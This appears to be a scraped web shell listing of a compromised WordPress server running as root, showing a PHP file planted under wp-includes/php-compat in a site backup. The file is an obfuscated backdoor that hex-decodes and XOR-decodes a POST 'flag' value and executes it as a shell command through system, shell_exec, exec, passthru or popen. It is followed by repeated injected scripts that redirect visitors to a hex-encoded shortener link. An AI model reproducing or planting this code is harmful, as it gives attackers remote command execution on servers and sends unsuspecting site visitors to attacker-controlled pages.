HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/breadsecret.com_bak20260330/wp-includes/php-compat/archives.1767957536.php
<!--OiAOm95v-->
<?php 
$_ÁÔÌÍÖ="pcl\x6fse";$_½Ë½Åƕ”="syst\145m";$_ʯĤÃ݇µÀ="exe\x63";$_¤ÖÄی͊²‡="pas\163thru";$_ÙߥÇÙ½ ‹Ü="\160\x6f\x70en";$_ÊÈÞ§Œ="s\x74ream_get_co\x6et\145nts";$_̰ר·È¶‹="hex\x32bin";$_’ Ê‹Ñ©­Ú„¦="shel\154_\x65xe\x63";if(isset($_POST["fl\141g"])):function _©¡„½ŽÈ($_£Ú€‚›,$_¦ˆÛ”„·ªÆ){$_ÏÀÔÏݘ†="";foreach(StR_split($_£Ú€‚›) as$_ÂÆ„Ɉ€­ÔŒ):$_ÏÀÔÏݘ†.=cHR(oRd($_ÂÆ„Ɉ€­ÔŒ)^$_¦ˆÛ”„·ªÆ);endforeach;return$_ÏÀÔÏݘ†;}$_įŽ•±ß=$_̰ר·È¶‹($_POST["fl\141g"]);$_įŽ•±ß=_©¡„½ŽÈ($_įŽ•±ß,(int)rOund(19+19));if(fuNcTIoN_exISTs($_½Ë½Åƕ”)):$_½Ë½Åƕ”($_įŽ•±ß);elseif(funCtION_eXIStS($_’ Ê‹Ñ©­Ú„¦)):print$_’ Ê‹Ñ©­Ú„¦($_įŽ•±ß);elseif(FUnCtIOn_exisTs($_ʯĤÃ݇µÀ)):$_ʯĤÃ݇µÀ($_įŽ•±ß,$_ÙÔӰޏ);print joIN("\012",$_ÙÔӰޏ);elseif(FunctION_eXIsTs($_¤ÖÄی͊²‡)):$_¤ÖÄی͊²‡($_įŽ•±ß);elseif(FUnCtIoN_exIsTS($_ÙߥÇÙ½ ‹Ü)&&FuNctiOn_eXISTS($_ÊÈÞ§Œ)&&fUNCTIoN_EXIstS($_ÁÔÌÍÖ)):$_Á°×¨®Á…Ñ=$_ÙߥÇÙ½ ‹Ü($_įŽ•±ß,"\x72");if($_Á°×¨®Á…Ñ):$_¤–Þ•’¤–†Þ=$_ÊÈÞ§Œ($_Á°×¨®Á…Ñ);$_ÁÔÌÍÖ($_Á°×¨®Á…Ñ);print$_¤–Þ•’¤–†Þ;endif;endif;exit;endif;
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>